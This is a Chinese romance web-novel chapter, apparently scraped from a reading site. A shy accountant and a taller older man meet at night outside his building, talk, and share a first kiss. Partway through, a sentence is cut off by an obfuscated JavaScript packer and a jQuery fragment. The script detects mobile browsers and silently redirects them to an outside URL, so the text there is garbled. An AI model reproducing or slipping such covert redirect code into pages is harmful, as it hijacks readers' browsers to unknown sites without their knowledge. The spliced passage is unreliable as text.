进旁边的小超市买了盒烟，顺路把寄存在这儿的快递取了，叶满闷头往小区里头走，形单影只的。
这个门偏，路灯一直坏着，没人修。
冬天的时候这里全是冰，又没灯，每年都会撂倒好几个老头儿老太太，一摔就是一个咔嚓。
年轻人走的时候也得注意，即便已经夏天，大伙儿都养成了看脚下的习惯，叶满低着头，专注走路，一边往嘴里含了口烟。
刚刚转进黑暗里时，他冷不防听见一个声音叫他，从身后传来的。
这冷不丁一声，叶满吓得抖了一下，心慌慌地转头看。
一个高挑的人影站在几步外，靠墙站着。
“韩竞？”叶满不确定道。
“刚刚说错话了，”男人低沉磁性的声音传过来，裹着夏天燥热的夜风：“想着跟你道个歉。”
心跳因为那样好听的声音悄悄加快，还夹着一点小惊喜，叶满抱紧自己三块钱拼的俩杯子，眯眼努力看清黑夜里那个陌生的影子。
“没有吧……”他有点不解，疑惑地说：“我没觉得哪里说错了啊。”
韩竞跟着他出来的，看他进超市，就等在这儿。
“昨晚那事儿，我不该那么说。”韩竞道。
“啊……啊，”叶满反应龟速，温吞吞说：“那个……我不是喜欢他，是因为他是大学生，没钱读书。”
韩竞张张嘴，想说人家睡一晚上能赚多少钱你是半点数没有啊，但是他没说出来。
片刻后，他说：“菜上齐了，你不想在这儿吃，给你打包几个带回去。”
叶满摇头，即使和这人以后也不会见面了，他还是喜欢这人的风度，他弯唇笑笑，声音轻快多了：“谢谢哥，不用了，祝你们在冬城玩得开心。”
说完后，他就调转脚步，往小区里头走。
“叶满。”身后那个陌生男人又叫了他一声。
叶满轻轻“啊”了声，扭头往回看。
然后，他听到那人问：“你喜欢什么样的？”
叶满心脏心脏被蛰了一下，呼吸微顿。
耳根子紧接着一阵赧然的灼热，他低头看自己刚刷的白鞋鞋尖儿。
沉默一小阵儿，他语气平静诚恳地说：“挺喜欢你这型的。但是我知道你不能喜欢我，以后咱也见不着了，你别介意。”
韩竞舔舔干燥的嘴唇，下意识伸手摸烟，摸了个空。
他又看那个长了双猫眼的小年轻，但是看不清，他的模样都隐藏在浓黑的夜里，只有指间一点红光，烟静静在夏夜里燃着。
这只是他们见的第二面。
“好抽吗？”叶满又迈开步子继续走，走出两米，听到背后男人开了口：“给我一根。”
叶满忽然哆嗦一下，被烟烫了手。
在叶满从小到大27年生涯里，他的话真的非常少。
小时候姥姥会给他讲各种各样的故事，比如狐狸报恩、黄皮子迷人、熊瞎子半夜偷小孩儿吃，最爱吃姓叶的，因为叶家没好人，叶满在姥姥家姓李，他还有一个名字，叫李乐乐，姥爷取的，随他姓，但是没人这样叫过他。
有句话叶满一直记到现在，姥姥说，人这一辈子，能说的话都是有一个定数的。
说够那个数量，人就死了。
叶满的话一直很少，倒不是怕死，主要原因是从来没人耐心听他说。
他小时候有时候会对星星说话，跟它们说如果爸妈今晚平安回来，可以把自己的寿命折十年给他们、如果姥姥这一次安全出院，可以把自己的十年寿命给她，说如果家里的小猫可以活下来，他愿意把自己十年的寿命分给它。
十年又十年，总是形单影只的叶满记不清自己许出去多少十年，每每此时，他怕自己的寿命折没了，所以说完立刻闭嘴，试图用少言寡语来延长生命。
如果姥姥说的是真的，那么叶满一定可以活很久很久。
他现在就在进行长寿训练，嘴巴开合好几次，没发出声儿来。
这会儿时间还不算晚，但是这是个老年小区，这个时候小区里已经没什么人在外面了。
彩虹色的幼儿园黑乎乎，路灯沿着小广场边缘画了个弧，太阳能路灯的昏黄光线没法子将整个广场点亮，只滤下一层朦胧薄光看什么都不真切。
蛾子绕着路灯底下飞，纷纷扬扬，划出的弧度像落雪一样。
小广场上散着几棵长势茂盛的树，每棵树周边都围着一圈儿木头做的休息座位，白天的时候总是有不少老头老太太在这儿纳凉，这会儿就俩人。
叶满双手抱着自己的杯子，低着头，白鞋底轻轻在石板地砖上一蹭一蹭，发出细微沙沙声。
六月份北方还在飘杨絮，雪白的棉花轻轻飘过他的发梢，带来了一股薄荷烟味儿。
和他隔着这个树圈座椅的四十五度角位置，坐着一个陌生男人。
他微微弯着腰，胳膊肘撑在长腿上，低头抽烟。
“我……”叶满腼腆地轻轻说：“今年二十七。”
夜色沉寂着，夏虫在四面八方叫，背后杨树叶的绿色清新气味很好闻。
韩竞平稳开口道：“我三十六了。”
叶满：“不算大……”
他组织了一下语言，又继续道：“我净身高175。”
韩竞：“191。”
叶满小小吃了一惊，喏喏应了声，试探着套取自己想要的情报：“我是汉族。”
韩竞吐出一口烟：“我也是。”
“我以为你是……”叶满抿唇:“你看起来长得不太一样。”
韩竞：“我有塔吉克族血统。”
叶满转头：“少数民族吗？”
这是一句废话啊，叶满。
他小小尴尬了一下，猫一样缩回脑袋，准备岔个话题，就听离他不远的男人轻笑了声。
他的耳朵尖一点一点红了，夜风过去，白杨树繁盛的叶子哗啦啦响，灯光滤下，在他的身上轻晃。
“嗯。”韩竞平稳地说。
叶满缓了一下心跳，侧过耳朵，问了自己最关心的一个问题：“你要在这里留多久？”
韩竞：“不一定，没事儿的话多留一段时间也没什么。”
“你是做什么的？”叶满脱口而出后，又觉得冒犯，垂眸交代：“我在会计事务所工作。”
韩竞说得含糊：“什么都做点，衣食住行什么的。”
叶满“哦”了声，并没追问，说：“我问完了，你有什么想问的吗？”
韩竞：“刚刚是不是哭了？”
叶满：“……”
他万万没想到他开口是说这个，一时尴尬窘迫极了，他身体紧绷，否认说：“没、没有。”
韩竞将那支燃尽的烟熄灭，站起身。
脚步声走近，叶满的心脏跟着那脚步声一颤一颤的，被路灯拉长的影子停在他面前。
叶满咬着唇肉，慢慢抬头，他撞上了一双黑漆漆深邃的眼睛，他没挪开视线，虚张声势地直视这个刚认识的男人。
“我……”叶满心脏蹦蹦跳，这样的仰视让他紧张，因为他觉得这个角度的自己不好看。
他局促地轻轻说：“干……干什么？”
那张俊秀的脸暴露在昏黄路灯下，鸭舌帽下边，柔软的卷发乖巧地贴在额头，让他看起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424853|169117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
特别乖巧。
韩竞垂眸打量他几秒，客气地开口道：“家住哪儿？送你回去。”
叶满白期待了。
他也不好意思再说什么，抬手向后指了指，腼腆地说：“就后面那个楼。”
这会儿已经挺晚，天上的星星不知道什么时候不见，一点天光也没有，整栋楼都黑了，单元门是个摆设，一直也关不上，里头黑洞洞的。
叶满站在洞口，文文静静说：“我自己上去就行了，你快回去吃饭吧。”
韩竞点点头。
他低头看手机，回了个消息，估计是他朋友在找他。
“那我先走了。”韩竞关上手机，弯唇笑笑，高挑强壮的身材在黑乎乎的夜里头像一堵墙，虽然只能看见墙体，看不见脸上的鼻子和眼睛，可仍难以遮掩他的出挑。
叶满乖乖点头。
韩竞就转身，往回走了。
叶满看着他的背影，呼吸有点发紧，嘴唇轻微阖动，可是没发出声儿。
韩竞走出三四米，静谧的夏风里，出现一个黏滞胆怯的声音：“那个……”
韩竞微微驻足，一只手插在裤子口袋，侧身看回来。
叶满脸涨得通红，紧闭眼睛，微微扬声，说：“想亲一下，行吗？”
他都不敢睁眼，侧过左耳，向风吹来的方向仔细听，说完后手脚都冰冰凉，那是极度紧张导致的。
夜沉寂下去，他没听到韩竞的回应，心里七上八下。
几秒后，他终于听到脚步声。
刚开始他有点分辨不清脚步声是远离还是靠近，心慌得不行。
但是很快，他听到脚步声走近的声音。
男人在他面前停下。
他没敢睁眼睛，木头似的杵在那儿，牙齿反复咬着下唇，缓解紧张。
薄荷烟的气味就像清凉的风，叶满的耳尖敏锐地抖抖，听到了陌生的呼吸声，男人没说话。
他开始忐忑纠结，是自己主动还是说自己正在开玩笑。
“说明白了。”韩竞心平气和地开口。
叶满茫然地睁开眼，望着浓夜中那张高鼻深目的俊脸，心脏紧得像是被什么攥着，呼吸都有点弱。
然后他听到那个陌生男人低声说：“要是亲，就得有名有份，正儿八经地谈。”
叶满眼瞳微震，他犹豫了。
而男人正耐心等着，有商有量：“还想亲？”
这个题简单，他难以处理复杂信息的大脑把这道题脱离了大前提，独立解题了，他点了下头。
然后，他的鼻尖儿被轻轻碰了一下。
恰巧他的呼吸运动进行到吸入空气，于是他嗅到了一点并不重的烟草味儿。
温热柔软的触感在他鼻尖上一触即分，在瞬间炸起了他的全部鸡皮疙瘩，那是对陌生人忽然触碰时的戒备和不适。
唇显然是落错了地方，陌生的气息不急不慢地下移，然后叶满的唇被轻轻贴住。
那阵不适消失后，害羞和紧张到极点的叶满手都在细细发抖，然后，他闭上眼睛，微微仰头，迎了上去。
北方幽静的夜里，风轻轻掠过叶满的衣角，柔软的棉质布料在他的指尖轻轻浮动，像是撩拨一样。
头顶的鸭舌帽在出餐馆的时候摘下去了，他的卷毛儿被温暖的风吹得半干，细软的头发随着动作一起一伏，潮湿粘稠的水汽散进了无人夜色里。
良久，他微微退开，低头气喘。
“总有个互相了解的过程，”韩竞沉稳温和的声音传进他的耳朵，他说：“我挺喜欢你的。”
叶满低头看自己的鞋，心脏扑通扑通跳，轻轻地“嗯”了声。